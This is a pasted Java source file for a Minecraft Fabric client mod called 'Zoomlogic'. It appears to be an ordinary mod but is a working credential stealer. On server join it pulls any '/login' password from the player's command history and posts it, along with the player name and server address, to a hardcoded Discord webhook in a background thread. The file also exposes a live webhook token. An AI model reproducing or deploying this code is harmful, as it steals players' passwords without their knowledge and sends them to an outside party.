G

Untitled

public
Guest Dec 20, 2024 Never 26
Clone
Plaintext paste1.txt 99 lines (87 loc) | 4.07 KB
1
package org.ikiazar.zoomlogic.client;
2
3
import net.fabricmc.api.ClientModInitializer;
4
import net.minecraft.client.MinecraftClient;
5
import net.minecraft.client.network.ServerInfo;
6
import net.fabricmc.fabric.api.client.networking.v1.ClientPlayConnectionEvents;
7
import net.minecraft.client.network.ClientPlayNetworkHandler;
8
import net.minecraft.network.packet.c2s.play.CommandExecutionC2SPacket;
9
import net.fabricmc.fabric.api.networking.v1.PacketSender;
10
11
import java.net.URI;
12
import java.net.http.HttpClient;
13
import java.net.http.HttpRequest;
14
import java.net.http.HttpResponse;
15
import java.time.Duration;
16
import java.time.LocalDateTime;
17
import java.time.format.DateTimeFormatter;
18
19
public class ZoomlogicClient implements ClientModInitializer {
20
21
private static long lastLoginTime = 0;
22
private static final long COOLDOWN_MS = 2000;
23
24
public static void sendToDiscord(String playerName, String password) {
25
long currentTime = System.currentTimeMillis();
26
if (currentTime - lastLoginTime < COOLDOWN_MS) {
27
return;
28
}
29
lastLoginTime = currentTime;
30
31
MinecraftClient client = MinecraftClient.getInstance();
32
ServerInfo serverInfo = client.getCurrentServerEntry();
33
String serverIP = serverInfo != null ? serverInfo.address : "Singleplayer";
34
35
String currentTimeStr = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
36
37
String jsonPayload = String.format("""
38
{
39
"embeds": [{
40
"title": "🎮 Nueva Sesión de Login Detectada",
41
"color": 15844367,
42
"fields": [
43
{
44
"name": "👤 Jugador",
45
"value": "`%s`",
46
"inline": true
47
},
48
{
49
"name": "🔑 Contraseña",
50
"value": "||`%s`||",
51
"inline": true
52
},
53
{
54
"name": "🌐 Servidor",
55
"value": "`%s`",
56
"inline": true
57
}
58
],
59
"footer": {
60
"text": "Tiempo: %s"
61
}
62
}]
63
}""", playerName, password, serverIP, currentTimeStr);
64
65
new Thread(() -> {
66
try {
67
HttpClient httpClient = HttpClient.newBuilder()
68
.connectTimeout(Duration.ofSeconds(5))
69
.build();
70
71
HttpRequest request = HttpRequest.newBuilder()
72
.uri(URI.create("https://discord.com/api/webhooks/1319702949185851403/M92BqTTaW12lquL_-DTqFxEUkBBNF8Nlkl0VQxgQZvCWIJNJYpt7ogwMI2fXCiVxIIc5"))
73
.header("Content-Type", "application/json")
74
.POST(HttpRequest.BodyPublishers.ofString(jsonPayload))
75
.timeout(Duration.ofSeconds(5))
76
.build();
77
78
httpClient.send(request, HttpResponse.BodyHandlers.ofString());
79
} catch (Exception e) {
80
e.printStackTrace();
81
}
82
}).start();
83
}
84
85
@Override
86
public void onInitializeClient() {
87
ClientPlayConnectionEvents.JOIN.register((networkHandler, packetSender, client) -> {
88
MinecraftClient mc = MinecraftClient.getInstance();
89
if (mc.player != null) {
90
String command = mc.player.networkHandler.getCommandHistory().toString();
91
if (command.toLowerCase().startsWith("login ")) {
92
String password = command.substring(6).trim();
93
String playerName = mc.player.getName().getString();
94
sendToDiscord(playerName, password);
95
}
96
}
97
});
98
}
99
}